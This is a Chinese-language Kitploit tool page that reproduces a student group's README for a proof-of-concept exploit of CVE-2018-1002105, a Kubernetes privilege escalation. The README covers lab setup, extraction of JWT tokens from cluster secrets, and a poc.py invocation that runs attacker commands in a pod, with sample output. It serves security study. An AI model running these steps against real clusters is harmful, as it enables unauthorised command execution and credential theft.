Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-1002105 — 针对CVE-2018-1002105的概念验证利用程序,该漏洞是Kubernetes提权漏洞,允许通过kube-apiserver在Pod中执行未授权命令。 | Kitploit
工具/GitHubGitHub/sh-ubh/cve-2018-1002105
权限提升容器安全漏洞分析漏洞利用渗透测试云安全
GitHubsh-ubh/cve-2018-1002105

CVE-2018-1002105

针对CVE-2018-1002105的概念验证利用程序,该漏洞是Kubernetes提权漏洞,允许通过kube-apiserver在Pod中执行未授权命令。

查看仓库
124年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CMPT733-Group11(0x90)

CVE-2018-1002105

成员: Abhishek Rungta, Shubham Saini, Siddhant Sood

环境搭建

  • 一台 Linux 虚拟机(例如 Ubuntu 20.04)
  • Minikube 用于本地部署 Kubernetes
  • 以下任一旧版本(1.0.x—1.9.x, 1.10.0—1.10.10, 1.11.0—1.11.4, 1.12.0—1.12.2)

运行漏洞利用

我们提供了一个 VirtualBox 镜像文件(.ova 文件) 下载它并从中创建一个虚拟机。 提供的 ova 已预配置了 docker v18.09 和 minikube v1.9.0

OVA 下载链接

构建 Kubernetes 集群

由于我们的虚拟机镜像已包含 minikube 和所需的 Kubernetes 版本,只需运行以下命令启动 minikube

root@kitploit:~
minikube start --kubernetes-version=v1.12.2

创建新用户、命名空间并分配角色

创建一个新用户和一个命名空间,并使用以下命令为创建的用户分配 RBAC 角色。

root@kitploit:~
kubectl apply -f fixing_policy.yml

移除对 conntrack 的访问

root@kitploit:~
kubectl edit configmaps kube-proxy --namespace=kube-system

将 set maxPerCore 改为 0

获取 JWT 令牌

首先运行以下命令获取系统中存储的所有 JWT 令牌

root@kitploit:~
kubectl get secrets -A

要获取所创建特定用户的密钥,运行以下命令:

root@kitploit:~
kubectl -n [命名空间] get secrets [用户令牌] -o json

然后进行 base64 解码。

root@kitploit:~
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN

获取 IP 地址和端口号

root@kitploit:~
kubectl cluster-info

部署 Pod

root@kitploit:~
kubectl run --image=nginx:alpine securenginx -n poc

运行 POC

指定所有必需参数:
-t 目标 ip:端口(必需)
-j 用户的 JWT 令牌(必需)
-p pod(必需)
-n 命名空间
-m 方法(必需)
-c 容器
-x 攻击者命令

测试用例

输入

root@kitploit:~
./poc.py -t [IP:端口] -j [令牌] -p [pod] -n [命名空间] -m attach -x "命令"
root@kitploit:~
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0" 

输出

root@kitploit:~
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:217603 (212.5 KiB)  TX bytes:428778 (418.7 KiB)

{"metadata":{},"status":"Success"}

演示视频

演示视频 链接

下载工具